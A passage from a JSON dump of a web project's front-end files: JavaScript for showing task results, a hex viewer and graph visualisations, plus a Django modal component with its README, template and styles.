${escapeHTMLEntities(raw_task_id)} could not be loaded.</p>`;\n          return;\n        }\n\n        let yielded_objects_element = document.createElement(\"div\");\n        yielded_objects_element.classList.add(\"yielded-objects\");\n        if (data && data[\"oois\"] && data[\"oois\"].length > 0) {\n          const url =\n            \"/\" +\n            language +\n            \"/\" +\n            escapeHTMLEntities(encodeURIComponent(organization));\n          let object_list = \"\";\n          // set the observed at time a fews seconds into the future, as the job finish time is not the same as the ooi-creation time. Due to async reasons the object might be a bit slow.\n          data[\"timestamp\"] = Date.parse(data[\"valid_time\"] + \"Z\");\n          data[\"valid_time_async\"] = new Date(\n            data[\"timestamp\"] + asyncoffset * 1000,\n          )\n            .toISOString()\n            .substring(0, 19); // strip milliseconds\n          // Build HTML snippet for every yielded object.\n          data[\"oois\"].forEach((object) => {\n            object_list += `<li><a href='${url}/objects/detail/?observed_at=${data[\"valid_time_async\"]}&ooi_id=${escapeHTMLEntities(encodeURIComponent(object))}'>${escapeHTMLEntities(object)}</a></li>`;\n          });\n          yielded_objects_element.innerHTML = `<ul>${object_list}</ul>`;\n        } else if (task_type == \"normalizer\") {\n          yielded_objects_element.innerHTML = `<p class='explanation'>Task ${escapeHTMLEntities(raw_task_id)} yielded no objects.</p>`;\n        }\n        expando_row\n          .querySelector(\"#yielded-objects-\" + raw_task_id)\n          .appendChild(yielded_objects_element);\n\n        if (data.length > 0) {\n          let rawfiles_list = document.createElement(\"div\");\n\n          // Build HTML snippet for every yielded rawfiles.\n          data.forEach((rawfile) => {\n            var mimetypes = \"\";\n            rawfile[\"mime_types\"].forEach((mime_type) => {\n              mimetypes += `<li>${mime_type[\"value\"]}</li>`;\n            });\n            let rawdata = atob(rawfile[\"raw_file\"]);\n            let rawfile_container = document.createElement(\"div\");\n            let signed = rawfile[\"signing_provider_url\"]\n              ? `, signed by <a href=\"${escapeHTMLEntities(rawfile[\"signing_provider_url\"])}\">${escapeHTMLEntities(rawfile[\"signing_provider_url\"])}</a>`\n              : \"\";\n            if (rawfile[\"raw_file\"].length > 0) {\n              rawfile_container.innerHTML = `<h3 id=\"raw-file-${rawfile[\"id\"]}\">File id: ${rawfile[\"id\"]} (${rawfile[\"raw_file\"].length} bytes)</h3>\n                        <div role=\"tablist\"\n                           aria-labelledby=\"raw-file-${rawfile[\"id\"]}\"\n                           class=\"manual\">\n                            <div class=\"button-container\">\n                                <button id=\"plain-${rawfile[\"id\"]}\"\n                                    type=\"button\"\n                                    role=\"tab\"\n                                    aria-selected=\"true\"\n                                    aria-controls=\"plain-${rawfile[\"id\"]}-panel\">\n                                    Plain text\n                                </button>\n                                <button id=\"json-${rawfile[\"id\"]}\"\n                                    type=\"button\"\n                                    role=\"tab\"\n                                    aria-selected=\"false\"\n                                    aria-controls=\"json-${rawfile[\"id\"]}-panel\">\n                                    Json\n                                </button>\n                                <button id=\"hex-${rawfile[\"id\"]}\"\n                                    type=\"button\"\n                                    role=\"tab\"\n                                    aria-selected=\"false\"\n                                    aria-controls=\"hex-${rawfile[\"id\"]}-panel\">\n                                    HEX view\n                                </button>\n                            </div>\n                        <div id=\"plain-${rawfile[\"id\"]}-panel\"\n                           role=\"tabpanel\"\n                           aria-labelledby=\"#plain-${rawfile[\"id\"]}\">\n                            <pre class=\"plain\"><code></code></pre>\n                        </div>\n                        <div id=\"json-${rawfile[\"id\"]}-panel\"\n                           role=\"tabpanel\"\n                           aria-labelledby=\"#json-${rawfile[\"id\"]}-panel\"\n                           class=\"hidden\">\n                            <pre class=\"json\"></pre>\n                        </div>\n                        <div id=\"hex-${rawfile[\"id\"]}-panel\"\n                           role=\"tabpanel\"\n                           aria-labelledby=\"#hex-${rawfile[\"id\"]}\"\n                           class=\"hidden\">\n                          <table class=\"hex\"></table>\n                        </div>\n                    <h5>Mimetypes:</h5>\n                      <ul class=\"tags\">${mimetypes}</ul>\n                    <p>Secure Hash: <code>${rawfile[\"secure_hash\"]} ${signed}</code></p>`;\n              rawfiles_list.appendChild(rawfile_container);\n              // plain text view\n              rawfile_container.querySelector(\"pre.plain code\").innerText =\n                rawdata;\n              // json view\n              try {\n                let jsondata = JSON.parse(rawdata);\n                rawfile_container.querySelector(\"pre.json\").innerText =\n                  JSON.stringify(jsondata, null, \"\\t\");\n                rawfile_container\n                  .querySelector(\"pre.json\")\n                  .classList.remove(\"hidden\");\n                window.setTimeout(function () {\n                  rawfile_container\n                    .querySelector(`#json-${rawfile[\"id\"]}`)\n                    .click();\n                }, 10);\n              } catch (e) {\n                rawfile_container\n                  .querySelector(`#json-${rawfile[\"id\"]}-panel`)\n                  .classList.add(\"hidden\");\n                rawfile_container\n                  .querySelector(`#json-${rawfile[\"id\"]}`)\n                  .classList.add(\"hidden\");\n              }\n              // hex view\n              let hex_table = rawfile_container.querySelector(\"table.hex\");\n              let rawbytes = new TextEncoder();\n              renderHexTable(hex_table, rawbytes.encode(rawdata));\n            } else {\n              // display only the meta-data for empty files.\n              rawfile_container.innerHTML = `<h3 id=\"raw-file-${rawfile[\"id\"]}\">File id: ${rawfile[\"id\"]} (Empty, 0 bytes)</h3>\n                    <h5>Mimetypes:</h5>\n                      <ul class=\"tags\">${mimetypes}</ul>\n                    <p>Secure Hash: <code>${rawfile[\"secure_hash\"]} ${signed}</code></p>`;\n              rawfiles_list.appendChild(rawfile_container);\n            }\n          });\n\n          rawfiles_element.appendChild(rawfiles_list);\n        } else if (task_type == \"boefje\") {\n          const message = document.createElement(\"p\");\n          message.className = \"explanation\";\n          message.textContent = `Task ${raw_task_id} yielded no raw files.`;\n          rawfiles_element.innerHTML = \"\";\n          rawfiles_element.appendChild(message);\n        }\n\n        expando_row\n          .querySelector(\"#yielded-rawfiles-\" + raw_task_id)\n          .appendChild(rawfiles_element);\n        if (task_type == \"boefje\") {\n          initTablist();\n        }\n      });\n    } else {\n      return;\n    }\n  });\n});\n\nfunction renderHexTable(hex_table, bytes) {\n  const rowLength = 16;\n\n  const headerRow = document.createElement(\"tr\");\n  headerRow.innerHTML =\n    \"<th>Offset</th>\" +\n    Array.from(\n      { length: rowLength },\n      (_, i) => `<th>${i.toString(16).padStart(2, \"0\").toUpperCase()}</th>`,\n    ).join(\"\") +\n    \"<th>ASCII</th>\";\n  hex_table.appendChild(headerRow);\n\n  for (let i = 0; i < bytes.length; i += rowLength) {\n    const row = document.createElement(\"tr\");\n    const offset = i.toString(16).padStart(8, \"0\").toUpperCase();\n    const hexBytes = [];\n    const ascii = [];\n\n    for (let j = 0; j < rowLength; j++) {\n      const byte = bytes[i + j];\n      if (byte !== undefined) {\n        hexBytes.push(byte.toString(16).padStart(2, \"0\").toUpperCase());\n        const char =\n          byte >= 32 && byte <= 126 ? String.fromCharCode(byte) : \".\";\n        ascii.push(char);\n      } else {\n        hexBytes.push(\"  \");\n        ascii.push(\".\"); // placeholder char\n      }\n    }\n    row.addEventListener(\"mouseover\", (event) => {\n      let charposition = Array.from(event.target.parentNode.children).indexOf(\n        event.target,\n      );\n      if (charposition > 0 && charposition < 17) {\n        // dont highlight the first and last columns.\n        let asciistring =\n          event.target.parentElement.querySelector(\".ascii\").textContent;\n        let highlightedstring =\n          escapeHTMLEntities(asciistring.substring(0, charposition - 1)) +\n          \"<span class='highlight'>\" +\n          escapeHTMLEntities(asciistring.charAt(charposition - 1)) +\n          \"</span>\" +\n          escapeHTMLEntities(asciistring.substring(charposition));\n        event.target.parentElement.querySelector(\".ascii\").innerHTML =\n          highlightedstring;\n      }\n    });\n    row.addEventListener(\"mouseout\", (event) => {\n      event.target.parentElement.querySelector(\".ascii\").innerText =\n        event.target.parentElement.querySelector(\".ascii\").innerText;\n    });\n\n    row.innerHTML =\n      `<td>${offset}</td>` +\n      hexBytes.map((b) => `<td>${b}</td>`).join(\"\") +\n      `<td class=\"ascii\">${ascii.join(\"\")}</td>`;\n    hex_table.appendChild(row);\n  }\n}\n\nfunction escapeHTMLEntities(input) {\n  var output = input.replace(/&/g, \"&amp;\");\n  output = output.replace(/'/g, \"&apos;\");\n  output = output.replace(/\"/g, \"&quot;\");\n  output = output.replace(/</g, \"&lt;\");\n  return output.replace(/>/g, \"&gt;\");\n}\n"
  },
  {
    "path": "rocky/assets/js/utils.js",
    "content": ""
  },
  {
    "path": "rocky/assets/vendors/graph/css/graph-d3.css",
    "content": ".graph-wrapper {\n  position: relative;\n}\n\n.graph-d3 {\n  border: 1px solid #cccccc;\n  margin: 0 1rem;\n}\n\n#graph-selector {\n  border: 1px dotted #000000;\n  position: fixed;\n  background: rgb(202 32 94 / 50%);\n}\n\n#nodes-selection {\n  display: none;\n  max-width: 600px;\n  margin: auto;\n  box-shadow: 0 5px 15px rgb(0 0 0 / 5%);\n  position: fixed;\n  left: 50%;\n  top: 50%;\n  transform: translate(-50%, -50%);\n  background-color: #ffffff;\n  z-index: 1;\n  max-height: 600px;\n  overflow: auto;\n}\n\n#nodes-selection .ro-icon-close {\n  position: absolute;\n  right: 0;\n  margin: 10px;\n}\n\n#nodes-selection form {\n  margin: 72px;\n}\n\n.graph-overlay {\n  background: white;\n  border: 1px solid #cccccc;\n  bottom: 10px;\n  height: auto;\n  min-height: 50%;\n  padding: 0.5rem;\n  position: absolute;\n  right: 10px;\n  width: 320px;\n  word-wrap: break-word;\n}\n\n.graph-overlay--centered {\n  top: 50%;\n  left: 50%;\n  transform: translate(-50%, -50%);\n}\n\n.node {\n  cursor: pointer;\n}\n\n.node text {\n  max-width: 50px;\n}\n\n.node circle {\n  fill: #ffffff;\n  stroke: steelblue;\n  stroke-width: 3px;\n}\n\n.node text {\n  font: 12px sans-serif;\n}\n\n.link {\n  fill: none;\n  stroke: #cccccc;\n  stroke-width: 2px;\n}\n"
  },
  {
    "path": "rocky/assets/vendors/graph/js/graph-d3.js",
    "content": "import * as d3 from \"d3\";\n\nconst treeData = JSON.parse(document.getElementById(\"tree-data\").textContent);\nconst graphOverlay = document.querySelector(\".graph-overlay\");\n\nfunction showOverlay(event, { data }) {\n  const definitionListItems = Object.keys(data.overlay_data)\n    .map(\n      (key) => `<div><dt>${key}</dt><dd>${data.overlay_data[key]}</dd></div>`\n    )\n    .join(\"\");\n\n  const innerHtml = `\n\t\t<b>${data.id}</b>\n\n\t\t<dl>\n\t\t\t${definitionListItems}\n\t\t</dl>\n\t`;\n\n  graphOverlay.innerHTML = innerHtml;\n  graphOverlay.classList.remove(\"is-hidden\");\n}\n\nfunction hideOverlay() {\n  graphOverlay.classList.add(\"is-hidden\");\n}\n\nfunction filterTree(treeData, filteredOoiTypes = []) {\n  if (!treeData.children) {\n    return treeData;\n  }\n\n  return {\n    ...treeData,\n    children: filterBranch(treeData.children, filteredOoiTypes),\n  };\n}\n\nfunction filterBranch(treeData, filteredOoiTypes) {\n  return treeData\n    .filter(\n      ({ ooi_type }) =>\n        !filteredOoiTypes.length || filteredOoiTypes.includes(ooi_type)\n    )\n    .map((ooi) => {\n      if (!ooi.children) {\n        return ooi;\n      }\n      return {\n        ...ooi,\n        children: filterBranch(ooi.children, filteredOoiTypes),\n      };\n    });\n}\n\n/**\n * Redirects to graphpage of ooi\n * @param {object} d\n * @returns\n */\nconst goToOoi = (event, d) => {\n  if (d.id === treeData[\"id\"]) {\n    // don't do anything if clicked on root of tree\n    return;\n  }\n\n  // remove ooi_id from querystring\n  const queryString = window.location.search;\n  const urlParams = new URLSearchParams(queryString);\n  urlParams.delete(\"ooi_id\");\n  const newQueryString = urlParams.toString();\n\n  window.location.href = d.data.graph_url + \"&\" + urlParams.toString();\n};\n\n// Set the dimensions and margins of the diagram\nvar margin = { top: 20, right: 90, bottom: 30, left: 175 },\n  width = 1280 - margin.left - margin.right,\n  height = 960 - margin.top - margin.bottom;\n\n// append the svg object to the body of the page\n// appends a 'group' element to 'svg'\n// moves the 'group' element to the top left margin\nvar svg = d3\n  .select(\".graph-d3\")\n  .append(\"svg\")\n  .attr(\"width\", width + margin.right + margin.left)\n  .attr(\"height\", height + margin.top + margin.bottom)\n  .append(\"g\")\n  .attr(\"transform\", \"translate(\" + margin.left + \",\" + margin.top + \")\")\n  .attr(\"id\", \"main-graph-all-nodes\");\n\nvar i = 0,\n  duration = 750,\n  root;\n\n// declares a tree layout and assigns the size\nvar treemap = d3.tree().size([height, width]);\n\n// Assigns parent, children, height, depth\nroot = d3.hierarchy(filterTree(treeData), function (d) {\n  return d.children;\n});\nroot.x0 = height / 2;\nroot.y0 = 0;\n\n// Collapse after the second level\n// root.children.forEach(collapse);\n\nupdate(root);\n\n// Collapse the node and all it's children\nfunction collapse(d) {\n  if (d.children) {\n    d._children = d.children;\n    d._children.forEach(collapse);\n    d.children = null;\n  }\n}\n\nfunction update(source) {\n  // Assigns the x and y position for the nodes\n  var treeData = treemap(root);\n\n  // Compute the new tree layout.\n  var nodes = treeData.descendants(),\n    links = treeData.descendants().slice(1);\n\n  // Normalize for fixed-depth.\n  nodes.forEach(function (d) {\n    d.y = d.depth * 110;\n  });\n\n  // ****************** Nodes section ***************************\n\n  // Update the nodes...\n  var node = svg.selectAll(\"g.node\").data(nodes, function (d) {\n    return d.id || (d.id = ++i);\n  });\n\n  // Enter any new modes at the parent's previous position.\n  var nodeEnter = node\n    .enter()\n\n    .append(\"g\")\n    .attr(\"class\", \"node\")\n    .attr(\"id\", function (d) {\n      return d.data.id;\n    })\n    .attr(\"data-ooi-type\", function (d) {\n      return d.data.ooi_type;\n    })\n    .attr(\"transform\", function (d) {\n      return \"translate(\" + source.y0 + 20 + \",\" + source.x0 + 20 + \")\";\n    });\n\n  // Add Circle for the nodes\n  nodeEnter\n    .append(\"circle\")\n    .attr(\"class\", \"node\")\n    .attr(\"r\", 1e-6)\n    .style(\"stroke\", function (d) {\n      return colorForOoi(d.data.ooi_type);\n    })\n    .style(\"fill\", function (d) {\n      return colorForOoi(d.data.ooi_type);\n    })\n    .on(\"mouseover\", showOverlay)\n    .on(\"mouseout\", hideOverlay)\n    .on(\"click\", showHideChildren);\n\n  // Add labels for the nodes\n  nodeEnter\n    .append(\"text\")\n    .attr(\"dy\", \".35em\")\n    .attr(\"x\", function (d) {\n      return d.children || d._children ? -13 : 13;\n    })\n    .attr(\"text-anchor\", function (d) {\n      return d.children || d._children ? \"end\" : \"start\";\n    })\n    .text(function (d) {\n      return truncateText(d.data.display_name, 15);\n    })\n    .on(\"mouseover\", showOverlay)\n    .on(\"mouseout\", hideOverlay)\n    .on(\"click\", goToOoi);\n\n  // UPDATE\n  var nodeUpdate = nodeEnter.merge(node);\n\n  // Transition to the proper position for the node\n  nodeUpdate\n    .transition()\n    .duration(duration)\n    .attr(\"transform\", function (d) {\n      return \"translate(\" + d.y + \",\" + d.x + \")\";\n    });\n\n  // Update the node attributes and style\n  nodeUpdate\n    .select(\"circle.node\")\n    .attr(\"r\", 10)\n    .style(\"fill\", function (d) {\n      return d._children ? colorForOoi(d.data.ooi_type) : \"#fff\";\n    })\n    .attr(\"cursor\", \"pointer\");\n\n  // Remove any exiting nodes\n  var nodeExit = node\n    .exit()\n    .transition()\n    .duration(duration)\n    .attr(\"transform\", function (d) {\n      return \"translate(\" + source.y + \",\" + source.x + 400 + \")\";\n    })\n    .remove();\n\n  // On exit reduce the node circles size to 0\n  nodeExit.select(\"circle\").attr(\"r\", 1e-6);\n\n  // On exit reduce the opacity of text labels\n  nodeExit.select(\"text\").style(\"fill-opacity\", 1e-6);\n\n  // ****************** links section ***************************\n\n  // Update the links...\n  var link = svg.selectAll(\"path.link\").data(links, function (d) {\n    return d.id;\n  });\n\n  // Enter any new links at the parent's previous position.\n  var linkEnter = link\n    .enter()\n    .insert(\"path\", \"g\")\n    .attr(\"class\", \"link\")\n    .attr(\"d\", function (d) {\n      var o = { x: source.x0, y: source.y0 };\n      return diagonal(o, o);\n    });\n\n  // UPDATE\n  var linkUpdate = linkEnter.merge(link);\n\n  // Transition back to the parent element position\n  linkUpdate\n    .transition()\n    .duration(duration)\n    .attr(\"d\", function (d) {\n      return diagonal(d, d.parent);\n    });\n\n  // Remove any exiting links\n  var linkExit = link\n    .exit()\n    .transition()\n    .duration(duration)\n    .attr(\"d\", function (d) {\n      var o = { x: source.x, y: source.y };\n      return diagonal(o, o);\n    })\n    .remove();\n\n  // Store the old positions for transition.\n  nodes.forEach(function (d) {\n    d.x0 = d.x;\n    d.y0 = d.y;\n  });\n\n  // Creates a curved (diagonal) path from parent to the child nodes\n  function diagonal(s, d) {\n    var path = `M ${s.y} ${s.x}\n        C ${(s.y + d.y) / 2} ${s.x},\n          ${(s.y + d.y) / 2} ${d.x},\n          ${d.y} ${d.x}`;\n\n    return path;\n  }\n}\n\n// Toggle children on click.\nfunction showHideChildren(event, d) {\n  if (d.children) {\n    d._children = d.children;\n    d.children = null;\n  } else {\n    d.children = d._children;\n    d._children = null;\n  }\n  update(d);\n}\n"
  },
  {
    "path": "rocky/assets/vendors/graph/js/graph-render.js",
    "content": "const ooiTypes = JSON.parse(document.getElementById(\"ooi-types\").textContent);\nconst rootObj = JSON.parse(document.getElementById(\"root-obj\").textContent);\n\nconst loopTree = (parent, obj, callback) => {\n  if (obj instanceof Array) {\n    obj.forEach((arrValue) => loopTree(parent, arrValue, callback));\n\n    return;\n  }\n\n  callback(parent, obj);\n\n  const childrenObjects = Object.values(obj).filter(\n    (el) => el && typeof el == \"object\"\n  );\n\n  childrenObjects.forEach((child) => loopTree(obj, child, callback));\n};\n\nconst defaultStyles = [\n  // the default styles for the graph\n  {\n    selector: \"node\",\n    style: {\n      \"background-color\": \"#666\",\n      label: \"data(label)\",\n      \"font-size\": \"12px\",\n      \"text-max-width\": 200,\n      \"text-wrap\": \"wrap\",\n    },\n  },\n  {\n    selector: \"edge\",\n    style: {\n      width: 3,\n      \"line-color\": \"#ccc\",\n      \"target-arrow-color\": \"#ccc\",\n      \"target-arrow-shape\": \"triangle\",\n      \"curve-style\": \"bezier\",\n    },\n  },\n];\n\nconst getGraphStyles = () =>\n  ooiTypes.reduce((styles, ooiType) => {\n    return [\n      ...styles,\n      {\n        selector: `node[type=\"${ooiType}\"]`,\n        style: {\n          \"background-color\": colorForOoi(ooiType),\n        },\n      },\n      {\n        selector: `edge[type=\"${ooiType}\"]`,\n        style: {\n          \"line-color\": colorForOoi(ooiType),\n          \"target-arrow-color\": colorForOoi(ooiType),\n        },\n      },\n    ];\n  }, defaultStyles);\n\nconst plotData = (data) => {\n  const elements = [];\n\n  loopTree({}, data, (parent, obj) => {\n    if (obj[\"xt/id\"]) {\n      // add node to graph\n      elements.push({\n        data: {\n          id: obj[\"xt/id\"],\n          label: obj[\"xt/id\"],\n          type: obj[\"ooi_type\"] || \"default\",\n        },\n      });\n\n      if (parent[\"xt/id\"]) {\n        // add edge to graph\n        elements.push({\n          data: {\n            id: obj[\"xt/id\"] + \"_\" + parent[\"xt/id\"],\n            source: obj[\"xt/id\"],\n            target: parent[\"xt/id\"],\n            type: obj[\"ooi_type\"] || \"default\",\n          },\n        });\n      }\n    }\n  });\n\n  const style = getGraphStyles();\n\n  const layout = {\n    name: \"klay\",\n    nodeDimensionsIncludeLabels: true,\n    klay: {\n      direction: \"LEFT\",\n      nodeLayering: \"NETWORK_SIMPLEX\",\n      nodePlacement: \"LINEAR_SEGMENTS\",\n    },\n    // rows: 1\n  };\n\n  const cy = cytoscape({\n    container: document.getElementById(\"cy\"),\n    elements: elements,\n    style: style,\n    layout: layout,\n  });\n\n  cy.on(\"tap\", \"node\", function (evt) {\n    const node = evt.target;\n\n    goToOoi(node.id());\n  });\n};\n\nconst renderMenu = () => {\n  const select = document.querySelector(\"#entity-selector\");\n\n  select.innerHTML = [...window.ooi].map(\n    (x) => `<option value=\"${x}\">${x}</option>`\n  );\n\n  select.classList.remove(\"is-hidden\");\n};\n\n/**\n * Redirects to graphpage of ooiId\n * @param {string} ooiId\n * @returns\n */\nconst goToOoi = (ooiId) => {\n  const currentId = rootObj[\"xt/id\"];\n\n  if (ooiId === currentId) {\n    return;\n  }\n\n  window.location.href = window.location.href.replace(\n    rootObj[\"xt/id\"],\n    encodeURIComponent(ooiId)\n  );\n};\n\nwindow.addEventListener(\"load\", () => {\n  document.querySelector(\"#entity-selector\").addEventListener(\"change\", (e) => {\n    goToOoi(e.target.value);\n  });\n\n  // Gather all id's\n  window.ooi = new Set();\n  loopTree({}, rootObj, (parent, obj) => {\n    if (obj[\"xt/id\"]) {\n      window.ooi.add(obj[\"xt/id\"]);\n    }\n  });\n  renderMenu();\n\n  plotData(rootObj);\n});\n"
  },
  {
    "path": "rocky/components/__init__.py",
    "content": ""
  },
  {
    "path": "rocky/components/main.scss",
    "content": "@import \"modal/style\";\n"
  },
  {
    "path": "rocky/components/modal/README.md",
    "content": "# Django Modal Component\n\n## Goal\n\nThe goal of this Modal Component is to have a \"one stop shop\" solution for a modal dialog, with the HTML structure as a template, CSS styling in SASS, JS logic for its dynamics and Django for all data related logic all bundled into one solution. Utilizing the `django-component` third-party library, it enables us to implement modals easily in Django templates, wherever they're needed. By using `slot` and `fill` we have great content flexibility, while keeping the aforementioned topics like HTML structure, CSS and JS as DRY as possible.\n\n## Usage\n\nThis outlines the basic usages and provides a code block example below, of how to implement the component in a Django template.\n\n### Instantiate\n\nFirst you need to add `{% load component_tags %}` at the top of your template. Next you need to add the following code block at the bottom, to include the corresponding JS (if you haven't already you also need to add `{% load static %}`).\n\n```\n{% block html_at_end_body %}\n    <script src=\"{% static \"modal/script.js\" %}\" nonce=\"{{ request.csp_nonce }}\" type=\"module\"></script>\n{% endblock html_at_end_body %}\n```\n\nAfter that, `{% component \"modal\" modal_id=\"xx\" size=\"xx\" %}` is enough to instantiate the dialog modal component where `modal_id` should contain a unique identifier that must be also used in the triggers `data-modal-id` attribute, and `size` should contain the appropriate class name to achieve the correct sizing. This can be either `dialog-small`, `dialog-medium` or `dialog-large`.\n\n### The trigger element\n\nThe trigger element needs some explaining. This will be the element that `on click` will show the modal dialog,\nthe `element` gets assigned the click handler by JavaScript.\nIt's essential to include the data attribute `data-modal-id=\"xx\"`, where \"xx\" is the same as the `id` attribute on the intended modal. This is what defines the modal dialog that this trigger is meant to target. The only exception to this is when an `<a>` is used, with an `href` containing an anchor `\"#xx\"`, which points to `the modal-id` of the target modal.\nWhile it might seem obvious to use a `button` or a `a` as a trigger, the modal is set up in a way that allows for any HTML element to be used as a trigger.\nThe trigger doesn't need to be part of the `{% component %}` itself and can be placed anywhere in the HTML template, though it makes sense to place them adjacent or as close as possible to each other.\n\n### Slots and fills\n\nEach named `fill` corresponds with a placeholder/target `slot` in the component template. The contents between the `fill` tag will be passed to the corresponding `slot`. As shown in the below example it's possible to utilise Django template tags and `HTML` tags with these `fill` tags. This enables us to entirely build the contents of the modal in the template where we implement it. Because we can use `HTML` tags here, we can also use `forms` and leave the handling of said form up to the Django template that knows about the context and applicable data, where we implement the modal. The defaults are used when no `fill` tags are implemented for this slot at all.\n\nThere's a total of three slots you can fill:\n\n1.  `header`: empty by default\n2.  `content`: empty by default\n3.  `footer_buttons`: cancel `button` by default. To have _no buttons_ show at all, it's needed to implement empty `fill` tags for this `slot`.\n\n### CSS dependencies\n\nIncluding `{% component_css_dependencies %}` is needed to inject the reference to the correct stylesheet needed to style the component into the HTML document. Configuring the location of said stylesheet is done in the components `.py` file.\n\n### Example implementation\n\n```\n  <a href=\"#\" data-modal-id=\"rename-modal\">\n```\n\n```\n{% component \"modal\" modal_id=\"rename-modal\" size=\"dialog-small\" %}\n\t{% fill \"header\" %}\n\t\t{% translate \"This is an example header.\" %}\n\t{% endfill %}\n\t{% fill \"content\" %}\n\t\t<form  id=\"content-form\"  class=\"horizontal-view\"  action=\"\"  method=\"post\">\n\t\t\t{% csrf_token %}\n\t\t\t{% blocktranslate with context_data_variable=context_data_variable %}\n\t\t\t\t<p>You can use {{ context_data_variable }} and HTML here <code>valid_time</code>!</p>\n\t\t\t{% endblocktranslate %}\n\t\t</form>\n\t{% endfill %}\n\t{% fill \"footer_buttons\" %}\n\t\t<input  type=\"submit\"  form=\"content-form\"  class=\"submit\"  value=\"Submit\">\n\t{% endfill %}\n{% endcomponent %}\n{% component_css_dependencies %}\n```\n"
  },
  {
    "path": "rocky/components/modal/__init__.py",
    "content": ""
  },
  {
    "path": "rocky/components/modal/modal.py",
    "content": "from django_components import component\n\n\n@component.register(\"modal\")\nclass Modal(component.Component):\n    template_name = \"modal/template.html\"\n\n    def get_context_data(self, **kwargs):\n        return {\"size\": kwargs[\"size\"], \"modal_id\": kwargs[\"modal_id\"]}\n\n    class Media:\n        css = \"dist/components.css\"\n"
  },
  {
    "path": "rocky/components/modal/script.js",
    "content": "import { onDomReady } from \"../js/imports/utils.js\";\n\nonDomReady(function () {\n  initDialogs();\n  openDialogFromUrl();\n});\n\nexport function openDialogFromUrl() {\n  // If ID is present in the URL on DomReady, open the dialog immediately.\n  let id = window.location.hash.slice(1);\n  if (id) {\n    const dialog = document.getElementById(id);\n    if (!dialog) return;\n\n    if (dialog.querySelector(\".error\")) {\n      showModalBasedOnAnchor(id);\n    }\n  }\n}\n\nexport function initDialogs(element) {\n  let root = element || document;\n  let modal_components = root.querySelectorAll(\".modal-wrapper\");\n\n  modal_components.forEach((modal) => initDialog(modal));\n}\n\nexport function initDialog(modal) {\n  let dialog_element = modal.querySelector(\"dialog\");\n  if (!dialog_element) return;\n\n  let trigger = document.querySelector(\n    \"[data-modal-id='\" + dialog_element.id + \"']:not(a)\",\n  );\n\n  // Check if trigger element is <a>, if not, on click,\n  // alter the URL to open the dialog using the onhaschange event.\n  if (trigger) {\n    trigger.addEventListener(\"click\", (event) => {\n      window.location.hash = \"#\" + dialog_element.id;\n    });\n  }\n\n  dialog_element.addEventListener(\"click\", (event) => {\n    // The actual handling (like posting) of the input values should be done when implementing the component.\n    // event.target.nodeName === 'DIALOG' is needed to check if the ::backdrop is clicked.\n    if (\n      event.target.classList.contains(\"confirm-modal-button\") ||\n      event.target.classList.contains(\"close-modal-button\") ||\n      event.target.nodeName === \"DIALOG\"\n    ) {\n      event.target.closest(\".modal-wrapper\").querySelector(\"dialog\").close();\n    }\n  });\n\n  dialog_element.addEventListener(\"close\", (event) => {\n    removeDialogAnchor();\n  });\n}\n\nexport function removeDialogAnchor() {\n  // Remove the anchor from the URL when closing the modal\n  let baseUrl = window.location.href.split(\"#\")[0];\n  window.history.replaceState(null, \"\", baseUrl);\n}\n\nexport function showModalBasedOnAnchor(id) {\n  if (id && document.querySelector(\"dialog#\" + id + \".modal\")) {\n    // Show modal, selected by ID\n    document.querySelector(\"#\" + id).showModal();\n  }\n}\n\naddEventListener(\"hashchange\", function () {\n  let id = window.location.toString().split(\"#\")[1];\n  showModalBasedOnAnchor(id);\n});\n"
  },
  {
    "path": "rocky/components/modal/style.scss",
    "content": ".modal-wrapper {\n  position: fixed;\n}\n\n.modal-wrapper:not(:has(dialog[open])) {\n  display: none;\n}\n\ndialog {\n  border: 1px solid var(--colors-grey-200);\n  border-radius: 8px;\n  max-height: calc(100vh - 3rem);\n  padding: 0;\n\n  &.dialog-small {\n    width: 27.5rem;\n\n    .content-wrapper {\n      .header,\n      .footer {\n        border: 0;\n      }\n\n      .content {\n        padding-top: 0;\n        padding-bottom: 0;\n      }\n    }\n  }\n\n  &.dialog-medium {\n    width: 40rem;\n  }\n\n  &.dialog-large {\n    width: 71.25rem;\n  }\n\n  &::backdrop {\n    background-color: rgb(18 21 23 / 50%);\n  }\n\n  .content-wrapper {\n    display: flex;\n    flex-direction: column;\n    max-height: inherit;\n    position: relative;\n    gap: 0;\n\n    .header {\n      padding: var(--spacing-grid-300);\n      display: flex;\n      justify-content: space-between;\n      flex-direction: row;\n      border-bottom: 1px solid var(--colors-grey-200);\n      position: sticky;\n      background-color: white;\n      top: 0;\n      left: 0;\n      right: 0;\n      gap: var(--spacing-grid-400);\n\n      button {\n        margin-right: -1.5rem;\n      }\n\n      h2 {\n        font-size: 1.5rem;\n      }\n    }\n\n    .content {\n      padding: var(--spacing-grid-400) var(--spacing-grid-300);\n      flex-grow: 1;\n      overflow: auto;\n      gap: var(--spacing-grid-400);\n\n      > section {\n        gap: var(--spacing-grid-300);\n\n        > div {\n          gap: var(--spacing-grid-100);\n        }\n      }\n    }\n\n    .footer {\n      padding: var(--spacing-grid-300);\n      border-top: 1px solid var(--colors-grey-200);\n      position: sticky;\n      background-color: white;\n      bottom: 0;\n      left: 0;\n      right: 0;\n      gap: var(--spacing-grid-400);\n\n      .toolbar {\n        justify-content: flex-start;\n      }\n    }\n  }\n}\n"
  },
  {
    "path": "rocky/components/modal/template.html",
    "content": "{% load static %}\n{% load i18n %}\n\n<div class=\"modal-wrapper\">\n    <dialog class=\"modal {{ size }}\"\n        aria-modal=\"true\"\n        role=\"dialog\"\n        id=\"{{ modal_id }}\">\n        <div class=\"content-wrapper\">\n            <section class=\"header\">\n                <h2>{% slot \"header\" %}{% endslot %}</h2>\n                <button class=\"icon-only ti-x close-modal-button\" type=\"button\"\n                        aria-label=\"{% translate \"Close modal\" %}\"></button>\n            </section>\n            <section class=\"content\">\n              {% slot \"content\" %}{% endslot %}\n            </section>\n            <section class=\"footer\">\n                <div class=\"toolbar\">\n                    {% slot \"footer_buttons\" %}\n                        <button class=\"ghost close-modal-button\">{% slot \"secondary_button\" %} {% translate \"Cancel\" %} {% endslot %}</button>\n                    {% endslot %}\n                </div>\n            </section>\n        </div>\n    </dialog>\n</div>\n"
  },
  {
    "path": "rocky/crisis_room/__init__.py",
    "content": ""
  },
  {
    "path": "rocky/crisis_room/apps.py",
    "content": "from django.apps import AppConfig\n\n\nclass CrisisRoomConfig(AppConfig):\n    default_auto_field = \"django.db.models.BigAutoField\"\n    name = \"crisis_room\"\n"
  },
  {
    "path": "rocky/crisis_room/forms.py",
